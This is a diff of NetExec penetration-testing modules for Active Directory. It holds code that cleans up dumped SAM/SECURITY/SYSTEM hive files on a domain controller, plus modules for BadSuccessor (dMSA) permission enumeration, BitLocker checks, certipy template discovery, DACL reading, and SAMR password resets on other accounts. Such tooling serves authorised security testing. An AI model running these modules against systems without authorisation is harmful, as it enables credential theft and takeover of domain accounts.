connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
sleep(0.2)
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
+216
View File
@@ -0,0 +1,216 @@
from impacket.ldap import ldaptypes
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
RELEVANT_OBJECT_TYPES = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
# Define all access rights
ACCESS_RIGHTS = {
# Generic Rights
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
# Maximum Allowed access type
"MaximumAllowed": 0x02000000,
# Access System Acl access type
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
# Standard access types
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
"Delete": 0x00010000, # ADS_RIGHT_DELETE
# Specific rights
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
}
# Define which rights are considered relevant for potential abuse
RELEVANT_RIGHTS = {
"GenericAll": ACCESS_RIGHTS["GenericAll"],
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
"CreateChild": ACCESS_RIGHTS["CreateChild"],
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
}
FUNCTIONAL_LEVELS = {
"Windows 2000": 0,
"Windows Server 2003": 1,
"Windows Server 2003 R2": 2,
"Windows Server 2008": 3,
"Windows Server 2008 R2": 4,
"Windows Server 2012": 5,
"Windows Server 2012 R2": 6,
"Windows Server 2016": 7,
"Windows Server 2019": 8,
"Windows Server 2022": 9,
"Windows Server 2025": 10,
}
class NXCModule:
"""
-------
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
"""
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available"""
def is_excluded_sid(self, sid, domain_sid):
if sid in EXCLUDED_SIDS:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self):
"""Retrieve the domain SID from the domain object in LDAP"""
r = self.connection.search(
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
parsed = parse_result_attributes(r)
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, entries):
domain_sid = self.get_domain_sid()
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
dn = entry["distinguishedName"]
sd_data = entry["nTSecurityDescriptor"]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
for ace in sd["Dacl"]["Data"]:
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
has_relevant_right = False
mask = int(ace["Ace"]["Mask"]["Mask"])
for right_value in RELEVANT_RIGHTS.values():
if mask & right_value:
has_relevant_right = True
break
if not has_relevant_right:
continue # Skip this ACE if it doesn't have any relevant rights
object_type = getattr(ace, "ObjectType", None)
if object_type:
object_guid = ldaptypes.bin_to_string(object_type).lower()
if object_guid not in RELEVANT_OBJECT_TYPES:
continue
sid = ace["Ace"]["Sid"].formatCanonical()
if self.is_excluded_sid(sid, domain_sid):
continue
results.setdefault(sid, []).append(dn)
if hasattr(sd, "OwnerSid"):
owner_sid = str(sd["OwnerSid"])
if not self.is_excluded_sid(owner_sid, domain_sid):
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, sid):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
sid: The SID to resolve
Returns:
-------
str: The samAccountName if found, otherwise the original SID
"""
try:
search_filter = f"(objectSid={sid})"
response = self.connection.search(
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
parsed = parse_result_attributes(response)
if parsed and "sAMAccountName" in parsed[0]:
return parsed[0]["sAMAccountName"]
return sid
except Exception:
return sid
def on_login(self, context, connection):
self.connection = connection
# Check for a domain controller with Windows Server 2025
resp = self.connection.search(
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
parsed_resp = parse_result_attributes(resp)
for dc in parsed_resp:
if "2025" in dc["operatingSystem"]:
out = connection.resolver(dc["dNSHostName"])
dc_ip = out["host"] if out else "Unknown IP"
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
else:
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = self.connection.search(
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls
)
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(resp)
if results:
context.log.success(f"Found {len(results)} results")
else:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(sid)
for ou in ous:
if sid == samaccountname:
context.log.highlight(f"{sid}, {ou}")
else:
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
+141
View File
@@ -0,0 +1,141 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
+137
View File
@@ -0,0 +1,137 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+159
View File
@@ -0,0 +1,159 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for changing or resetting user passwords
Module by Fagan Afandiyev, termanix and NeffIsBack
"""
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (one of):
NEWPASS The new password of the user.
NEWNTHASH The new NT hash of the user.
Optional:
USER The user account if the target is not the current user.
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
If want to change other user's password (with forcechangepassword priv or admin rights)
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
"""
self.newpass = module_options.get("NEWPASS")
self.newhash = module_options.get("NEWNTHASH")
self.target_user = module_options.get("USER")
if not self.newpass and not self.newhash:
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
sys.exit(1)
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
context.log.fail(f"DCE/RPC Exception: {e!s}")
raise
def on_login(self, context, connection):
self.context = context
target_username = self.target_user or connection.username
target_domain = connection.domain
# Grab all creds from the connection to use for authentication
self.oldpass = connection.password
self.oldhash = connection.nthash
new_lmhash, new_nthash = "", ""
# Parse new hash values if provided
if self.newhash:
try:
new_lmhash, new_nthash = self.newhash.split(":")
except ValueError:
new_nthash = self.newhash
try:
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
else:
raise
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
else:
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
File diff suppressed because it is too large. Load diff
+120 -190
View File
@@ -1,16 +1,17 @@
import binascii
import codecs
import json
import re
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from ldap3.protocol.formatters.formatters import format_sid
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -188,6 +189,12 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
}
class NXCModule:
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
@@ -199,16 +206,23 @@ class NXCModule:
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
# Initialize module variables
self.principal_sAMAccountName = None
self.principal_sid = None
self.action = "read"
self.ace_type = "allowed"
self.rights = None
self.rights_guid = None
def options(self, context, module_options):
"""
Be careful, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -227,213 +241,134 @@ class NXCModule:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
sys.exit(1)
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be openned.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.targets = []
self.target_SID = None
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
if module_options and "PRINCIPAL" in module_options:
for option in "TARGET", "TARGET_DN":
if option in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Adding target: {module_options[option]}")
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
if not self.targets:
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
sys.exit(1)
if "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if module_options and "ACTION" in module_options:
if "ACTION" in module_options:
self.action = module_options["ACTION"]
else:
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
if "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
else:
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
if "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
else:
self.rights = None
if module_options and "RIGHTS_GUID" in module_options:
if "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.context = context
self.connection = connection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
_lookedup_principal = self.principal_sAMAccountName
try:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][1][0][1][0]
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
self.principal_sid = resp_parsed["objectSid"]
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
except Exception as e:
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
for target, search_filter in self.targets:
try:
self.search_target_principal_security_descriptor(context, connection)
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
sys.exit(1)
target_principal_dn = resp_parsed["distinguishedName"]
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({target})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
continue
if self.action == "read":
self.read(context)
self.read(principal_security_descriptor)
if self.action == "backup":
self.backup(context)
# If there are multiple targets
else:
targets = self.target_file.readlines()
for target in targets:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
self.read(context)
if self.action == "backup":
self.backup(context)
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
# Main read funtion
# Prints the parsed DACL
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
def read(self, principal_security_descriptor):
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
self.print_parsed_dacl(parsed_dacl)
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
def backup(self, context):
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
backup = {}
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(target_principal_dn)
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"dacledit-{timestamp}-{target}.bak"
with open(filename, "w", encoding="latin-1") as outfile:
json.dump(backup, outfile)
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
self.context.log.highlight(f"DACL backed up to {filename}")
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self, context, connection):
_lookedup_principal = ""
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
if self.target_sAMAccountName is not None:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
